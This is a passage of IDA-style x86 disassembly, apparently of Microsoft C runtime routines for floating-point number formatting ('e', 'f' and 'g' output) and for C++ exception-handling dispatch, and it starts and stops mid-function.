		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	dword_4524F0, 1
		jle	short loc_42EC12
		push	4
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_42EC2A
; ---------------------------------------------------------------------------


loc_42EC12:				; CODE XREF: sub_42EBD0+2Aj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_C], edx


loc_42EC2A:				; CODE XREF: sub_42EBD0+40j
		cmp	[ebp+var_C], 0
		jnz	short loc_42EBEA


loc_42EC30:				; CODE XREF: sub_42EBD0+18j
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_0]
		mov	al, byte_4524F4
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42EC4B:				; CODE XREF: sub_42EBD0+A2j
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl
		mov	al, [ebp+var_4]
		mov	[ebp+var_8], al
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jnz	short loc_42EC4B
		mov	esp, ebp
		pop	ebp
		retn
sub_42EBD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EC80	proc near		; CODE XREF: sub_42A6B0+6F1p
					; DATA XREF: sub_4230D0+Do ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42EC84:				; CODE XREF: sub_42EC80+28j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42ECAA
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte_4524F4
		cmp	eax, ecx
		jz	short loc_42ECAA
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_42EC84
; ---------------------------------------------------------------------------


loc_42ECAA:				; CODE XREF: sub_42EC80+Cj
					; sub_42EC80+1Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		test	ecx, ecx
		jz	loc_42ED53


loc_42ECC1:				; CODE XREF: sub_42EC80+6Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42ECEC
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 65h
		jz	short loc_42ECEC
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 45h
		jz	short loc_42ECEC
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42ECC1
; ---------------------------------------------------------------------------


loc_42ECEC:				; CODE XREF: sub_42EC80+49j
					; sub_42EC80+54j ...
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx


loc_42ECFB:				; CODE XREF: sub_42EC80+8Fj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jnz	short loc_42ED11
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_42ECFB
; ---------------------------------------------------------------------------


loc_42ED11:				; CODE XREF: sub_42EC80+84j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte_4524F4
		cmp	ecx, edx
		jnz	short loc_42ED2B
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		mov	[ebp+arg_0], eax


loc_42ED2B:				; CODE XREF: sub_42EC80+A0j
					; sub_42EC80+D1j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_42ED53
		jmp	short loc_42ED2B
; ---------------------------------------------------------------------------


loc_42ED53:				; CODE XREF: sub_42EC80+3Bj
					; sub_42EC80+CFj
		mov	esp, ebp
		pop	ebp
		retn
sub_42EC80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ED60	proc near		; DATA XREF: sub_4230D0+2Bo
					; .XComp0:off_4528A8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 1
		jnz	short loc_42ED7F
		mov	[ebp+var_4], 1
		jmp	short loc_42ED86
; ---------------------------------------------------------------------------


loc_42ED7F:				; CODE XREF: sub_42ED60+14j
		mov	[ebp+var_4], 0


loc_42ED86:				; CODE XREF: sub_42ED60+1Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42ED60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ED90	proc near		; CODE XREF: sub_42C5E0+1138p
					; DATA XREF: sub_4230D0+17o ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42EDBC
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_435570
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+4], ecx
		jmp	short loc_42EDD4
; ---------------------------------------------------------------------------


loc_42EDBC:				; CODE XREF: sub_42ED90+Aj
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4355F0
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_42EDD4:				; CODE XREF: sub_42ED90+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42ED90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EDE0	proc near		; CODE XREF: sub_42F270+1Fp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_435730
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		xor	edx, edx
		cmp	[ebp+arg_8], 0
		setnle	dl
		add	ecx, edx
		push	ecx
		call	sub_435630
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42EE60
		add	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42EDE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EE60	proc near		; CODE XREF: sub_42EDE0+67p
					; sub_42F180+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		movsx	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_42EE97
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		cmp	dword ptr [ecx], 2Dh
		setz	dl
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		cmp	[ebp+arg_4], 0
		setnle	cl
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42F2D0
		add	esp, 8


loc_42EE97:				; CODE XREF: sub_42EE60+Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 2Dh
		jnz	short loc_42EEB4
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42EEB4:				; CODE XREF: sub_42EE60+43j
		cmp	[ebp+arg_4], 0
		jle	short loc_42EED8
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	al, byte_4524F4
		mov	[edx], al


loc_42EED8:				; CODE XREF: sub_42EE60+58j
		push	offset aE000	; "e+000"
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		movsx	edx, [ebp+arg_10]
		neg	edx
		sbb	edx, edx
		inc	edx
		add	ecx, edx
		push	ecx
		call	sub_422580
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_42EF06
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	45h


loc_42EF06:				; CODE XREF: sub_42EE60+9Ej
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jz	loc_42EFBF
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_42EF41
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh


loc_42EF41:				; CODE XREF: sub_42EE60+D1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 64h
		jl	short loc_42EF75
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_8], edx


loc_42EF75:				; CODE XREF: sub_42EE60+EEj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		cmp	[ebp+var_8], 0Ah
		jl	short loc_42EFA9
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+var_8], edx


loc_42EFA9:				; CODE XREF: sub_42EE60+122j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, byte ptr [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_42EFBF:				; CODE XREF: sub_42EE60+BBj
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_42EE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EFD0	proc near		; CODE XREF: sub_42F270+3Bp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_435730
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		add	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		push	edx
		call	sub_435630
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_42F040
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42EFD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F040	proc near		; CODE XREF: sub_42EFD0+5Bp
					; sub_42F180+D9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_42F093
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_0]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_42F093
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0


loc_42F093:				; CODE XREF: sub_42F040+18j
					; sub_42F040+33j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 2Dh
		jnz	short loc_42F0B0
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42F0B0:				; CODE XREF: sub_42F040+5Fj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jg	short loc_42F0D8
		push	1
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42F2D0
		add	esp, 8
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42F0E4
; ---------------------------------------------------------------------------


loc_42F0D8:				; CODE XREF: sub_42F040+77j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+4]
		mov	[ebp+var_4], edx


loc_42F0E4:				; CODE XREF: sub_42F040+96j
		cmp	[ebp+arg_4], 0
		jle	loc_42F176
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42F2D0
		add	esp, 8
		mov	ecx, [ebp+var_4]
		mov	dl, byte_4524F4
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_42F176
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_42F12E
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		jmp	short loc_42F154
; ---------------------------------------------------------------------------


loc_42F12E:				; CODE XREF: sub_42F040+DFj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_42F143
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		jmp	short loc_42F14E
; ---------------------------------------------------------------------------


loc_42F143:				; CODE XREF: sub_42F040+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		mov	[ebp+var_10], eax


loc_42F14E:				; CODE XREF: sub_42F040+101j
		mov	ecx, [ebp+var_10]
		mov	[ebp+arg_4], ecx


loc_42F154:				; CODE XREF: sub_42F040+ECj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42F2D0
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	30h
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_421410
		add	esp, 0Ch


loc_42F176:				; CODE XREF: sub_42F040+A8j
					; sub_42F040+D7j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F180	proc near		; CODE XREF: sub_42F270+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_435730
		add	esp, 10h
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_435630
		add	esp, 0Ch
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		xor	ecx, ecx
		cmp	[ebp+var_34], eax
		setl	cl
		mov	[ebp+var_30], cl
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFCh
		jl	short loc_42F20B
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_42F227


loc_42F20B:				; CODE XREF: sub_42F180+81j
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_42EE60
		add	esp, 14h
		jmp	short loc_42F261
; ---------------------------------------------------------------------------


loc_42F227:				; CODE XREF: sub_42F180+89j
		movsx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_42F24B


loc_42F22F:				; CODE XREF: sub_42F180+C2j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_42F244
		jmp	short loc_42F22F
; ---------------------------------------------------------------------------


loc_42F244:				; CODE XREF: sub_42F180+C0j
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx-2], 0


loc_42F24B:				; CODE XREF: sub_42F180+ADj
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42F040
		add	esp, 10h


loc_42F261:				; CODE XREF: sub_42F180+A5j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F270	proc near		; CODE XREF: sub_42A6B0+6ADp
					; DATA XREF: sub_4230D0+3o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42F27F
		cmp	[ebp+arg_8], 45h
		jnz	short loc_42F299


loc_42F27F:				; CODE XREF: sub_42F270+7j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42EDE0
		add	esp, 10h
		jmp	short loc_42F2CD
; ---------------------------------------------------------------------------


loc_42F299:				; CODE XREF: sub_42F270+Dj
		cmp	[ebp+arg_8], 66h
		jnz	short loc_42F2B5
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42EFD0
		add	esp, 0Ch
		jmp	short loc_42F2CD
; ---------------------------------------------------------------------------


loc_42F2B5:				; CODE XREF: sub_42F270+2Dj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F180
		add	esp, 10h


loc_42F2CD:				; CODE XREF: sub_42F270+27j
					; sub_42F270+43j
		pop	ebp
		retn
sub_42F270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F2D0	proc near		; CODE XREF: sub_42EE60+2Fp
					; sub_42F040+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_42F2FC
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		push	edx
		call	sub_4237A0
		add	esp, 0Ch


loc_42F2FC:				; CODE XREF: sub_42F2D0+7j
		pop	ebp
		retn
sub_42F2D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F300	proc near		; CODE XREF: sub_423380+27p
					; sub_423460+2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 19930520h
		jnz	short loc_42F31A
		mov	[ebp+var_8], 0
		jmp	short loc_42F322
; ---------------------------------------------------------------------------


loc_42F31A:				; CODE XREF: sub_42F300+Fj
		call	sub_430060
		mov	[ebp+var_8], eax


loc_42F322:				; CODE XREF: sub_42F300+18j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, 66h
		test	edx, edx
		jz	short loc_42F35E
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42F354
		cmp	[ebp+arg_14], 0
		jnz	short loc_42F354
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42F870
		add	esp, 10h


loc_42F354:				; CODE XREF: sub_42F300+36j
					; sub_42F300+3Cj
		mov	eax, 1
		jmp	loc_42F3EB
; ---------------------------------------------------------------------------


loc_42F35E:				; CODE XREF: sub_42F300+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_42F3E6
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42F3BE
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jbe	short loc_42F3BE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42F3BE
		mov	ecx, [ebp+arg_1C]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	[ebp+var_4]
		add	esp, 20h
		jmp	short loc_42F3EB
; ---------------------------------------------------------------------------


loc_42F3BE:				; CODE XREF: sub_42F300+70j
					; sub_42F300+7Cj ...
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, byte ptr [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F3F0
		add	esp, 20h


loc_42F3E6:				; CODE XREF: sub_42F300+65j
		mov	eax, 1


loc_42F3EB:				; CODE XREF: sub_42F300+59j
					; sub_42F300+BCj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F3F0	proc near		; CODE XREF: sub_42F300+DEp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jl	short loc_42F41D
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx+4]
		jge	short loc_42F41D
		mov	[ebp+var_28], 0
		jmp	short loc_42F425
; ---------------------------------------------------------------------------


loc_42F41D:				; CODE XREF: sub_42F3F0+17j
					; sub_42F3F0+22j
		call	sub_430060
		mov	[ebp+var_28], eax


loc_42F425:				; CODE XREF: sub_42F3F0+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	loc_42F4E5
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 3
		jnz	loc_42F4E5
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	loc_42F4E5
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	loc_42F4E5
		call	sub_42B630
		cmp	dword ptr [eax+6Ch], 0
